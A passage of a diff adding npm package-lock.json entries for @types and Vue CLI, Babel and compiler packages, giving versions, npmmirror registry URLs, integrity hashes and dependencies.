+ "version": "1.9.4", + "resolved": "https://registry.npmmirror.com/@types/serve-index/-/serve-index-1.9.4.tgz", + "integrity": "sha512-qLpGZ/c2fhSs5gnYsQxtDEq3Oy8SXPClIXkW5ghvAvsNuVSA8k+gCONcUCS/UjLEYvYps+e8uBtfgXgvhwfNug==", + "dev": true, + "dependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.15.7", + "resolved": "https://registry.npmmirror.com/@types/serve-static/-/serve-static-1.15.7.tgz", + "integrity": "sha512-W8Ym+h8nhuRwaKPaDw34QUkwsGi6Rc4yYqvKFo5rm2FUEhCFbzVWrxXUxuKK8TASjWsysJY0nsmNCGhCOIsrOw==", + "dev": true, + "dependencies": { + "@types/http-errors": "*", + "@types/node": "*", + "@types/send": "*" + } + }, + "node_modules/@types/sockjs": { + "version": "0.3.36", + "resolved": "https://registry.npmmirror.com/@types/sockjs/-/sockjs-0.3.36.tgz", + "integrity": "sha512-MK9V6NzAS1+Ud7JV9lJLFqW85VbC9dq3LmwZCuBe4wBDgKC0Kj/jd8Xl+nSviU+Qc3+m7umHHyHg//2KSa0a0Q==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/web-bluetooth": { + "version": "0.0.16", + "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.16.tgz", + "integrity": "sha512-oh8q2Zc32S6gd/j50GowEjKLoOVOwHP/bWVjKJInBwQqdOYMdPrf1oVlelTlyfFK3CKxL1uahMDAr+vy8T7yMQ==" + }, + "node_modules/@types/ws": { + "version": "8.5.13", + "resolved": "https://registry.npmmirror.com/@types/ws/-/ws-8.5.13.tgz", + "integrity": "sha512-osM/gWBTPKgHV8XkTunnegTRIsvF6owmf5w+JtAfOw472dptdm0dlGv4xCt6GwQRcC2XVOvvRE/0bAoQcL2QkA==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@vue/babel-helper-vue-jsx-merge-props": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-helper-vue-jsx-merge-props/-/babel-helper-vue-jsx-merge-props-1.4.0.tgz", + "integrity": "sha512-JkqXfCkUDp4PIlFdDQ0TdXoIejMtTHP67/pvxlgeY+u5k3LEdKuWZ3LK6xkxo52uDoABIVyRwqVkfLQJhk7VBA==", + "dev": true + }, + "node_modules/@vue/babel-helper-vue-transform-on": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/@vue/babel-helper-vue-transform-on/-/babel-helper-vue-transform-on-1.2.5.tgz", + "integrity": "sha512-lOz4t39ZdmU4DJAa2hwPYmKc8EsuGa2U0L9KaZaOJUt0UwQNjNA3AZTq6uEivhOKhhG1Wvy96SvYBoFmCg3uuw==", + "dev": true + }, + "node_modules/@vue/babel-plugin-jsx": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/@vue/babel-plugin-jsx/-/babel-plugin-jsx-1.2.5.tgz", + "integrity": "sha512-zTrNmOd4939H9KsRIGmmzn3q2zvv1mjxkYZHgqHZgDrXz5B1Q3WyGEjO2f+JrmKghvl1JIRcvo63LgM1kH5zFg==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.24.7", + "@babel/helper-plugin-utils": "^7.24.8", + "@babel/plugin-syntax-jsx": "^7.24.7", + "@babel/template": "^7.25.0", + "@babel/traverse": "^7.25.6", + "@babel/types": "^7.25.6", + "@vue/babel-helper-vue-transform-on": "1.2.5", + "@vue/babel-plugin-resolve-type": "1.2.5", + "html-tags": "^3.3.1", + "svg-tags": "^1.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + }, + "peerDependenciesMeta": { + "@babel/core": { + "optional": true + } + } + }, + "node_modules/@vue/babel-plugin-resolve-type": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/@vue/babel-plugin-resolve-type/-/babel-plugin-resolve-type-1.2.5.tgz", + "integrity": "sha512-U/ibkQrf5sx0XXRnUZD1mo5F7PkpKyTbfXM3a3rC4YnUz6crHEz9Jg09jzzL6QYlXNto/9CePdOg/c87O4Nlfg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.24.7", + "@babel/helper-module-imports": "^7.24.7", + "@babel/helper-plugin-utils": "^7.24.8", + "@babel/parser": "^7.25.6", + "@vue/compiler-sfc": "^3.5.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-plugin-transform-vue-jsx": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-plugin-transform-vue-jsx/-/babel-plugin-transform-vue-jsx-1.4.0.tgz", + "integrity": "sha512-Fmastxw4MMx0vlgLS4XBX0XiBbUFzoMGeVXuMV08wyOfXdikAFqBTuYPR0tlk+XskL19EzHc39SgjrPGY23JnA==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.0.0", + "@babel/plugin-syntax-jsx": "^7.2.0", + "@vue/babel-helper-vue-jsx-merge-props": "^1.4.0", + "html-tags": "^2.0.0", + "lodash.kebabcase": "^4.1.1", + "svg-tags": "^1.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-plugin-transform-vue-jsx/node_modules/html-tags": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/html-tags/-/html-tags-2.0.0.tgz", + "integrity": "sha512-+Il6N8cCo2wB/Vd3gqy/8TZhTD3QvcVeQLCnZiGkGCH3JP28IgGAY41giccp2W4R3jfyJPAP318FQTa1yU7K7g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@vue/babel-preset-app": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/babel-preset-app/-/babel-preset-app-5.0.8.tgz", + "integrity": "sha512-yl+5qhpjd8e1G4cMXfORkkBlvtPCIgmRf3IYCWYDKIQ7m+PPa5iTm4feiNmCMD6yGqQWMhhK/7M3oWGL9boKwg==", + "dev": true, + "dependencies": { + "@babel/core": "^7.12.16", + "@babel/helper-compilation-targets": "^7.12.16", + "@babel/helper-module-imports": "^7.12.13", + "@babel/plugin-proposal-class-properties": "^7.12.13", + "@babel/plugin-proposal-decorators": "^7.12.13", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-jsx": "^7.12.13", + "@babel/plugin-transform-runtime": "^7.12.15", + "@babel/preset-env": "^7.12.16", + "@babel/runtime": "^7.12.13", + "@vue/babel-plugin-jsx": "^1.0.3", + "@vue/babel-preset-jsx": "^1.1.2", + "babel-plugin-dynamic-import-node": "^2.3.3", + "core-js": "^3.8.3", + "core-js-compat": "^3.8.3", + "semver": "^7.3.4" + }, + "peerDependencies": { + "@babel/core": "*", + "core-js": "^3", + "vue": "^2 || ^3.2.13" + }, + "peerDependenciesMeta": { + "core-js": { + "optional": true + }, + "vue": { + "optional": true + } + } + }, + "node_modules/@vue/babel-preset-app/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@vue/babel-preset-jsx": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-preset-jsx/-/babel-preset-jsx-1.4.0.tgz", + "integrity": "sha512-QmfRpssBOPZWL5xw7fOuHNifCQcNQC1PrOo/4fu6xlhlKJJKSA3HqX92Nvgyx8fqHZTUGMPHmFA+IDqwXlqkSA==", + "dev": true, + "dependencies": { + "@vue/babel-helper-vue-jsx-merge-props": "^1.4.0", + "@vue/babel-plugin-transform-vue-jsx": "^1.4.0", + "@vue/babel-sugar-composition-api-inject-h": "^1.4.0", + "@vue/babel-sugar-composition-api-render-instance": "^1.4.0", + "@vue/babel-sugar-functional-vue": "^1.4.0", + "@vue/babel-sugar-inject-h": "^1.4.0", + "@vue/babel-sugar-v-model": "^1.4.0", + "@vue/babel-sugar-v-on": "^1.4.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0", + "vue": "*" + }, + "peerDependenciesMeta": { + "vue": { + "optional": true + } + } + }, + "node_modules/@vue/babel-sugar-composition-api-inject-h": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-composition-api-inject-h/-/babel-sugar-composition-api-inject-h-1.4.0.tgz", + "integrity": "sha512-VQq6zEddJHctnG4w3TfmlVp5FzDavUSut/DwR0xVoe/mJKXyMcsIibL42wPntozITEoY90aBV0/1d2KjxHU52g==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-composition-api-render-instance": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-composition-api-render-instance/-/babel-sugar-composition-api-render-instance-1.4.0.tgz", + "integrity": "sha512-6ZDAzcxvy7VcnCjNdHJ59mwK02ZFuP5CnucloidqlZwVQv5CQLijc3lGpR7MD3TWFi78J7+a8J56YxbCtHgT9Q==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-functional-vue": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-functional-vue/-/babel-sugar-functional-vue-1.4.0.tgz", + "integrity": "sha512-lTEB4WUFNzYt2In6JsoF9sAYVTo84wC4e+PoZWSgM6FUtqRJz7wMylaEhSRgG71YF+wfLD6cc9nqVeXN2rwBvw==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-inject-h": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-inject-h/-/babel-sugar-inject-h-1.4.0.tgz", + "integrity": "sha512-muwWrPKli77uO2fFM7eA3G1lAGnERuSz2NgAxuOLzrsTlQl8W4G+wwbM4nB6iewlKbwKRae3nL03UaF5ffAPMA==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-v-model": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-v-model/-/babel-sugar-v-model-1.4.0.tgz", + "integrity": "sha512-0t4HGgXb7WHYLBciZzN5s0Hzqan4Ue+p/3FdQdcaHAb7s5D9WZFGoSxEZHrR1TFVZlAPu1bejTKGeAzaaG3NCQ==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0", + "@vue/babel-helper-vue-jsx-merge-props": "^1.4.0", + "@vue/babel-plugin-transform-vue-jsx": "^1.4.0", + "camelcase": "^5.0.0", + "html-tags": "^2.0.0", + "svg-tags": "^1.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-v-model/node_modules/html-tags": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/html-tags/-/html-tags-2.0.0.tgz", + "integrity": "sha512-+Il6N8cCo2wB/Vd3gqy/8TZhTD3QvcVeQLCnZiGkGCH3JP28IgGAY41giccp2W4R3jfyJPAP318FQTa1yU7K7g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@vue/babel-sugar-v-on": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-v-on/-/babel-sugar-v-on-1.4.0.tgz", + "integrity": "sha512-m+zud4wKLzSKgQrWwhqRObWzmTuyzl6vOP7024lrpeJM4x2UhQtRDLgYjXAw9xBXjCwS0pP9kXjg91F9ZNo9JA==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0", + "@vue/babel-plugin-transform-vue-jsx": "^1.4.0", + "camelcase": "^5.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/cli-overlay": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-overlay/-/cli-overlay-5.0.8.tgz", + "integrity": "sha512-KmtievE/B4kcXp6SuM2gzsnSd8WebkQpg3XaB6GmFh1BJGRqa1UiW9up7L/Q67uOdTigHxr5Ar2lZms4RcDjwQ==", + "dev": true + }, + "node_modules/@vue/cli-plugin-babel": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-plugin-babel/-/cli-plugin-babel-5.0.8.tgz", + "integrity": "sha512-a4qqkml3FAJ3auqB2kN2EMPocb/iu0ykeELwed+9B1c1nQ1HKgslKMHMPavYx3Cd/QAx2mBD4hwKBqZXEI/CsQ==", + "dev": true, + "dependencies": { + "@babel/core": "^7.12.16", + "@vue/babel-preset-app": "^5.0.8", + "@vue/cli-shared-utils": "^5.0.8", + "babel-loader": "^8.2.2", + "thread-loader": "^3.0.0", + "webpack": "^5.54.0" + }, + "peerDependencies": { + "@vue/cli-service": "^3.0.0 || ^4.0.0 || ^5.0.0-0" + } + }, + "node_modules/@vue/cli-plugin-eslint": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-plugin-eslint/-/cli-plugin-eslint-5.0.8.tgz", + "integrity": "sha512-d11+I5ONYaAPW1KyZj9GlrV/E6HZePq5L5eAF5GgoVdu6sxr6bDgEoxzhcS1Pk2eh8rn1MxG/FyyR+eCBj/CNg==", + "dev": true, + "dependencies": { + "@vue/cli-shared-utils": "^5.0.8", + "eslint-webpack-plugin": "^3.1.0", + "globby": "^11.0.2", + "webpack": "^5.54.0", + "yorkie": "^2.0.0" + }, + "peerDependencies": { + "@vue/cli-service": "^3.0.0 || ^4.0.0 || ^5.0.0-0", + "eslint": ">=7.5.0" + } + }, + "node_modules/@vue/cli-plugin-router": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-plugin-router/-/cli-plugin-router-5.0.8.tgz", + "integrity": "sha512-Gmv4dsGdAsWPqVijz3Ux2OS2HkMrWi1ENj2cYL75nUeL+Xj5HEstSqdtfZ0b1q9NCce+BFB6QnHfTBXc/fCvMg==", + "dev": true, + "dependencies": { + "@vue/cli-shared-utils": "^5.0.8" + }, + "peerDependencies": { + "@vue/cli-service": "^3.0.0 || ^4.0.0 || ^5.0.0-0" + } + }, + "node_modules/@vue/cli-plugin-vuex": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-plugin-vuex/-/cli-plugin-vuex-5.0.8.tgz", + "integrity": "sha512-HSYWPqrunRE5ZZs8kVwiY6oWcn95qf/OQabwLfprhdpFWAGtLStShjsGED2aDpSSeGAskQETrtR/5h7VqgIlBA==", + "dev": true, + "peerDependencies": { + "@vue/cli-service": "^3.0.0 || ^4.0.0 || ^5.0.0-0" + } + }, + "node_modules/@vue/cli-service": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-service/-/cli-service-5.0.8.tgz", + "integrity": "sha512-nV7tYQLe7YsTtzFrfOMIHc5N2hp5lHG2rpYr0aNja9rNljdgcPZLyQRb2YRivTHqTv7lI962UXFURcpStHgyFw==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.12.16", + "@soda/friendly-errors-webpack-plugin": "^1.8.0", + "@soda/get-current-script": "^1.0.2", + "@types/minimist": "^1.2.0", + "@vue/cli-overlay": "^5.0.8", + "@vue/cli-plugin-router": "^5.0.8", + "@vue/cli-plugin-vuex": "^5.0.8", + "@vue/cli-shared-utils": "^5.0.8", + "@vue/component-compiler-utils": "^3.3.0", + "@vue/vue-loader-v15": "npm:vue-loader@^15.9.7", + "@vue/web-component-wrapper": "^1.3.0", + "acorn": "^8.0.5", + "acorn-walk": "^8.0.2", + "address": "^1.1.2", + "autoprefixer": "^10.2.4", + "browserslist": "^4.16.3", + "case-sensitive-paths-webpack-plugin": "^2.3.0", + "cli-highlight": "^2.1.10", + "clipboardy": "^2.3.0", + "cliui": "^7.0.4", + "copy-webpack-plugin": "^9.0.1", + "css-loader": "^6.5.0", + "css-minimizer-webpack-plugin": "^3.0.2", + "cssnano": "^5.0.0", + "debug": "^4.1.1", + "default-gateway": "^6.0.3", + "dotenv": "^10.0.0", + "dotenv-expand": "^5.1.0", + "fs-extra": "^9.1.0", + "globby": "^11.0.2", + "hash-sum": "^2.0.0", + "html-webpack-plugin": "^5.1.0", + "is-file-esm": "^1.0.0", + "launch-editor-middleware": "^2.2.1", + "lodash.defaultsdeep": "^4.6.1", + "lodash.mapvalues": "^4.6.0", + "mini-css-extract-plugin": "^2.5.3", + "minimist": "^1.2.5", + "module-alias": "^2.2.2", + "portfinder": "^1.0.26", + "postcss": "^8.2.6", + "postcss-loader": "^6.1.1", + "progress-webpack-plugin": "^1.0.12", + "ssri": "^8.0.1", + "terser-webpack-plugin": "^5.1.1", + "thread-loader": "^3.0.0", + "vue-loader": "^17.0.0", + "vue-style-loader": "^4.1.3", + "webpack": "^5.54.0", + "webpack-bundle-analyzer": "^4.4.0", + "webpack-chain": "^6.5.1", + "webpack-dev-server": "^4.7.3", + "webpack-merge": "^5.7.3", + "webpack-virtual-modules": "^0.4.2", + "whatwg-fetch": "^3.6.2" + }, + "bin": { + "vue-cli-service": "bin/vue-cli-service.js" + }, + "engines": { + "node": "^12.0.0 || >= 14.0.0" + }, + "peerDependencies": { + "vue-template-compiler": "^2.0.0", + "webpack-sources": "*" + }, + "peerDependenciesMeta": { + "cache-loader": { + "optional": true + }, + "less-loader": { + "optional": true + }, + "pug-plain-loader": { + "optional": true + }, + "raw-loader": { + "optional": true + }, + "sass-loader": { + "optional": true + }, + "stylus-loader": { + "optional": true + }, + "vue-template-compiler": { + "optional": true + }, + "webpack-sources": { + "optional": true + } + } + }, + "node_modules/@vue/cli-shared-utils": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-shared-utils/-/cli-shared-utils-5.0.8.tgz", + "integrity": "sha512-uK2YB7bBVuQhjOJF+O52P9yFMXeJVj7ozqJkwYE9PlMHL1LMHjtCYm4cSdOebuPzyP+/9p0BimM/OqxsevIopQ==", + "dev": true, + "dependencies": { + "@achrinza/node-ipc": "^9.2.5", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "joi": "^17.4.0", + "launch-editor": "^2.2.1", + "lru-cache": "^6.0.0", + "node-fetch": "^2.6.7", + "open": "^8.0.2", + "ora": "^5.3.0", + "read-pkg": "^5.1.1", + "semver": "^7.3.4", + "strip-ansi": "^6.0.0" + } + }, + "node_modules/@vue/cli-shared-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@vue/cli-shared-utils/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@vue/cli-shared-utils/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@vue/cli-shared-utils/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.13.tgz", + "integrity": "sha512-oOdAkwqUfW1WqpwSYJce06wvt6HljgY3fGeM9NcVA1HaYOij3mZG9Rkysn0OHuyUAGMbEbARIpsG+LPVlBJ5/Q==", + "dependencies": { + "@babel/parser": "^7.25.3", + "@vue/shared": "3.5.13", + "entities": "^4.5.0", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.0" + } + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.13.tgz", + "integrity": "sha512-ZOJ46sMOKUjO3e94wPdCzQ6P1Lx/vhp2RSvfaab88Ajexs0AHeV0uasYhi99WPaogmBlRHNRuly8xV75cNTMDA==", + "dependencies": { + "@vue/compiler-core": "3.5.13", + "@vue/shared": "3.5.13" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.13.tgz", + "integrity": "sha512-6VdaljMpD82w6c2749Zhf5T9u5uLBWKnVue6XWxprDobftnletJ8+oel7sexFfM3qIxNmVE7LSFGTpv6obNyaQ==", + "dependencies": { + "@babel/parser": "^7.25.3", + "@vue/compiler-core": "3.5.13", + "@vue/compiler-dom": "3.5.13", + "@vue/compiler-ssr": "3.5.13", + "@vue/shared": "3.5.13", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.11", + "postcss": "^8.4.48", + "source-map-js": "^1.2.0" + } + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.13.tgz", + "integrity": "sha512-wMH6vrYHxQl/IybKJagqbquvxpWCuVYpoUJfCqFZwa/JY1GdATAQ+TgVtgrwwMZ0D07QhA99rs/EAAWfvG6KpA==", + "dependencies": { + "@vue/compiler-dom": "3.5.13", + "@vue/shared": "3.5.13" + } + }, + "node_modules/@vue/component-compiler-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/@vue/component-compiler-utils/-/component-compiler-utils-3.3.0.tgz", + "integrity": "sha512-97sfH2mYNU+2PzGrmK2haqffDpVASuib9/w2/noxiFi31Z54hW+q3izKQXXQZSNhtiUpAI36uSuYepeBe4wpHQ==", + "dev": true, + "dependencies": { + "consolidate": "^0.15.1", + "hash-sum": "^1.0.2", + "lru-cache": "^4.1.2", + "merge-source-map": "^1.1.0", + "postcss": "^7.0.36", + "postcss-selector-parser": "^6.0.2", + "source-map": "~0.6.1", + "vue-template-es2015-compiler": "^1.9.0" + }, + "optionalDependencies": { + "prettier": "^1.18.2 || ^2.0.0" + } + }, + "node_modules/@vue/component-compiler-utils/node_modules/hash-sum": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/hash-sum/-/hash-sum-1.0.2.tgz", + "integrity": "sha512-fUs4B4L+mlt8/XAtSOGMUO1TXmAelItBPtJG7CyHJfYTdDjwisntGO2JQz7oUsatOY9o68+57eziUVNw/mRHmA==", + "dev": true + }, + "node_modules/@vue/component-compiler-utils/node_modules/lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-4.1.5.tgz", + "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dev": true, + "dependencies": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "node_modules/@vue/component-compiler-utils/node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", + "dev": true + }, + "node_modules/@vue/component-compiler-utils/node_modules/postcss": { + "version": "7.0.39", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-7.0.39.tgz", + "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==", + "dev": true, + "dependencies": { + "picocolors": "^0.2.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + } + }, + "node_modules/@vue/component-compiler-utils/node_modules/yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==", + "dev": true + }, + "node_modules/@vue/devtools-api": { + "version": "6.6.4", + "resolved": "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz", + "integrity": "sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g==" + }, + "node_modules/@vue/reactivity": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.13.tgz", + "integrity": "sha512-NaCwtw8o48B9I6L1zl2p41OHo/2Z4wqYGGIK1Khu5T7yxrn+ATOixn/Udn2m+6kZKB/J7cuT9DbWWhRxqixACg==", + "dependencies": { + "@vue/shared": "3.5.13" + } + }, + "node_modules/@vue/runtime-core": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.13.tgz", + "integrity": "sha512-Fj4YRQ3Az0WTZw1sFe+QDb0aXCerigEpw418pw1HBUKFtnQHWzwojaukAs2X/c9DQz4MQ4bsXTGlcpGxU/RCIw==", + "dependencies": { + "@vue/reactivity": "3.5.13", + "@vue/shared": "3.5.13" + } + }, + "node_modules/@vue/runtime-dom": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.13.tgz", + "integrity": "sha512-dLaj94s93NYLqjLiyFzVs9X6dWhTdAlEAciC3Moq7gzAc13VJUdCnjjRurNM6uTLFATRHexHCTu/Xp3eW6yoog==", + "dependencies": { + "@vue/reactivity": "3.5.13", + "@vue/runtime-core": "3.5.13", + "@vue/shared": "3.5.13", + "csstype": "^3.1.3" + } + }, + "node_modules/@vue/server-renderer": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.13.tgz", + "integrity": "sha512-wAi4IRJV/2SAW3htkTlB+dHeRmpTiVIK1OGLWV1yeStVSebSQQOwGwIq0D3ZIoBj2C2qpgz5+vX9iEBkTdk5YA==", + "dependencies": { + "@vue/compiler-ssr": "3.5.13", + "@vue/shared": "3.5.13" + }, + "peerDependencies": { + "vue": "3.5.13" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.13.tgz", + "integrity": "sha512-/hnE/qP5ZoGpol0a5mDi45bOd7t3tjYJBjsgCsivow7D48cJeV5l05RD82lPqi7gRiphZM37rnhW1l6ZoCNNnQ==" + }, + "node_modules/@vue/vue-loader-v15": { + "name": "vue-loader", + "version": "15.11.1", + "resolved": "https://registry.npmmirror.com/vue-loader/-/vue-loader-15.11.1.tgz", + "integrity": "sha512-0iw4VchYLePqJfJu9s62ACWUXeSqM30SQqlIftbYWM3C+jpPcEHKSPUZBLjSF9au4HTHQ/naF6OGnO3Q/qGR3Q==", + "dev": true, + "dependencies": { + "@vue/component-compiler-utils": "^3.1.0", + "hash-sum": "^1.0.2", + "loader-utils": "^1.1.0", + "vue-hot-reload-api": "^2.3.0", + "vue-style-loader": "^4.1.0" + }, + "peerDependencies": { + "css-loader": "*", + "webpack": "^3.0.0 || ^4.1.0 || ^5.0.0-0" + }, + "peerDependenciesMeta": { + "cache-loader": { + "optional": true + }, + "prettier": { + "optional": true + }, + "vue-template-compiler": { + "optional": true + } + } + }, + "node_modules/@vue/vue-loader-v15/node_modules/hash-sum": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/hash-sum/-/hash-sum-1.0.2.tgz", + "integrity": "sha512-fUs4B4L+mlt8/XAtSOGMUO1TXmAelItBPtJG7CyHJfYTdDjwisntGO2JQz7oUsatOY9o68+57eziUVNw/mRHmA==", + "dev": true + }, + "node_modules/@vue/web-component-wrapper": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/@vue/web-component-wrapper/-/web-component-wrapper-1.3.0.tgz", + "integrity": "sha512-Iu8Tbg3f+emIIMmI2ycSI8QcEuAUgPTgHwesDU1eKMLE4YC/c/sFbGc70QgMq31ijRftV0R7vCm9co6rldCeOA==", + "dev": true + }, + "node_modules/@vueuse/core": { + "version": 